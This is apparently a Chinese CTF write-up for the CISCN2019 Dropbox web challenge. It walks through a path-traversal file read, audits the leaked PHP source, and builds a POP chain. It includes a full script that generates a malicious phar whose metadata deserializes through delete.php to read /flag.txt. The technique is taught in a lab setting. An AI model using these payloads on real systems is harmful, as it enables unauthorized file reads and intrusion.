[CISCN2019 华北赛区 Day1 Web1]Dropbox
一道经典的phar 反序列化题目
注册一个账号然后登录
发现可以上传文件
一开始以为是上传木马 当然不可能 buu第三页的题目不可能这么简单
然后下载我们上传上去的文件
发现通过/download 请求了filename=
来实现下载
这里存在文件任意读漏洞
构造paylaod:filename=../../文件
可以得到很多源码
共能下到7个php文件
接下来就是漫长的代码审计了
审计:
首先 login.php与register.php都是很常规的初处理 不多说
然后是uplaod.php也是一些常规的检查上传文件合法与否的语句
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| uplaod.php <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); }
include "class.php";
if (isset($_FILES["file"])) { $filename = $_FILES["file"]["name"]; $pos = strrpos($filename, "."); if ($pos !== false) { $filename = substr($filename, 0, $pos); }
$fileext = ".gif"; switch ($_FILES["file"]["type"]) { case 'image/gif': $fileext = ".gif"; break; case 'image/jpeg': $fileext = ".jpg"; break; case 'image/png': $fileext = ".png"; break; default: $response = array("success" => false, "error" => "Only gif/jpg/png allowed"); Header("Content-type: application/json"); echo json_encode($response); die(); }
if (strlen($filename) < 40 && strlen($filename) !== 0) { $dst = $_SESSION['sandbox'] . $filename . $fileext; move_uploaded_file($_FILES["file"]["tmp_name"], $dst); $response = array("success" => true, "error" => ""); Header("Content-type: application/json"); echo json_encode($response); } else { $response = array("success" => false, "error" => "Invaild filename"); Header("Content-type: application/json"); echo json_encode($response); } } ?>
|
download.php与delete.php一起看吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| download.php <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); }
if (!isset($_POST['filename'])) { die(); }
include "class.php"; ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { Header("Content-type: application/octet-stream"); Header("Content-Disposition: attachment; filename=" . basename($filename)); echo $file->close(); } else { echo "File not exist"; } ?> delete.php <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); }
if (!isset($_POST['filename'])) { die(); }
include "class.php";
chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); } else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response); } ?>
|
不管是删除还是下载路由都有$file = new File();
跟踪一下 到class.php 也是最重要的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145
| class.php <?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User { public $db;
public function __construct() { global $db; $this->db = $db; }
public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; }
public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; }
public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; }
public function __destruct() { $this->db->close(); } }
class { private $files; private $results; private $funcs;
public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path);
$key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]);
foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } }
public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } }
public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } }
class File { public $filename;
public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } }
public function name() { return basename($this->filename); }
public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; }
public function detele() { unlink($this->filename); }
public function close() { return file_get_contents($this->filename); } } ?>
|
File类中发现了file_get_contents()
如果能调用 则可以文件包含
可以构造User->db(__destruct)->File->close()
来触发 但是读到的文件不能输出
发现还有一个类FileList 中有一个魔术方法 其实一般有魔术方法的类 都会去找能不能构造pop链条
既然之前构造的链条没法回显 那么我们就要通过构造别的链条来使得回显
User->db(__destruct)->Filelist->__call->File->close()
再通过File函数的析构函数来回显
1 2 3 4 5 6
| public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } }
|
当对象调用一个不存在的方法时,就会调用__call方法
并且默认$func
为不存在函数名 $args
为参数 并且以数组形式
用一个简单的demo来看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php class student{ public $name; public $age = 13; public function __destruct() { $this->name->close($this->age); } } class lunch{ public function __call($func, $args) { echo $func; echo "\n"; var_dump($args); } } $a = new student(); $a->name=new lunch(); ?>
|
整个魔术方法__call达到的效果就是将文件包含的结果传递给$this->results二维数组 好让析构函数输出
那么这里__call方法是怎么做到的呢 一开始一直不明白这里的原理 看了好多wp 都没有提及 纯属是我太菜了
1
| $this->results[$file->name()][$func] = $file->$func();
|
$file其实就是我们要去构造的File对象 $func是返回的close函数名 上面的demo中也提到了
所以这里就等价为File->close
是这样调用的
其析构函数可以将返回的结果返回
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } }
|
稍微审计一下其实就是把result数组结果赋值给$table
然后echo $table;
输出
明白了整个链子 应该怎么构造呢 题目只容许我们上传一个文件 不像我们平常做的pop链 去赋值给一个变量让其反序列化
Typo3 反序列化漏洞
该漏洞由phar://触发
可以直接去看大佬的总结:
https://xz.aliyun.com/t/2715#toc-8
https://kylingit.com/blog/%E7%94%B1phpggc%E7%90%86%E8%A7%A3php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
说说我自己的看法
首先我们的phar文件能够上传到对方服务器上 并且有相应的魔术方法作为踏板 而且/ phar://
不能被转义
phar是php的压缩文件并且不经过解压就能直接被php访问并且执行
phar结构由四部分组成:
- stub phar 文件标识,格式为
xxx<?php xxx; __HALT_COMPILER();?>
;
- manifest 压缩文件的属性等信息,以序列化存储;
- contents 压缩文件的内容;
- signature 签名,放在文件末尾;
构造固定内容为:
1 2 3 4 5 6 7 8 9
| @unlink("Z1d10t.phar"); $phar = new Phar("Z1d10t.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($a); $phar->addFromString("test.txt", "test");
$phar->stopBuffering();
|
我们将构造的恶意pop链塞入$phar->setMetadata();
中 ,并且存储形式为序列化字符串形式存储
通过winhex查看一下
当我们通过phar://
去访问该文件时 我们构造的恶意序列化pop链就会被反序列化 从而执行恶意代码
明白了原理之后 直接构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php class User { public $db; }
class FileList { private $files; private $results; private $funcs;
public function __construct() { $this->results = array(); $this->funcs = array(); $file = new File(); $this->files = array($file); } } class File { public $filename='/flag.txt'; } $a = new User(); $a->db=new FileList();
@unlink("Z1d10t.phar"); $phar = new Phar("Z1d10t.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($a); $phar->addFromString("test.txt", "test");
$phar->stopBuffering(); ?>
|
然后这个flag路径是怎么推测出来的 其实题目也有暗喻 在download.php 不过如果我做这道题目肯定会当个瞎子
将我们生成的Z1d10t.phar
改为Z1d10t.png
上传上去这个后缀名并不会因为被修改而影响 猜测就像那个yaml反序列化题目一样 是通过二进制文件读取的 所以后缀无所谓
然后这里访问也有个坑 我们可以通过download.php 下载访问 或者 delete.php 删除访问
如果我们通过下载页面访问是不行的
download.php中有这么一串代码
PHP ini_set用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置,对于虚拟空间来说,很方便。参考:https://developer.aliyun.com/article/521394
绕过 open_basedir
可以参考:https://xz.aliyun.com/t/10070
也就是说download.php访问文件只被限定于:/etc:/tmp``getcwd()
也就是当前文件 三个路径 没法去读我们的文件
而delete.php没有被限定 可以去读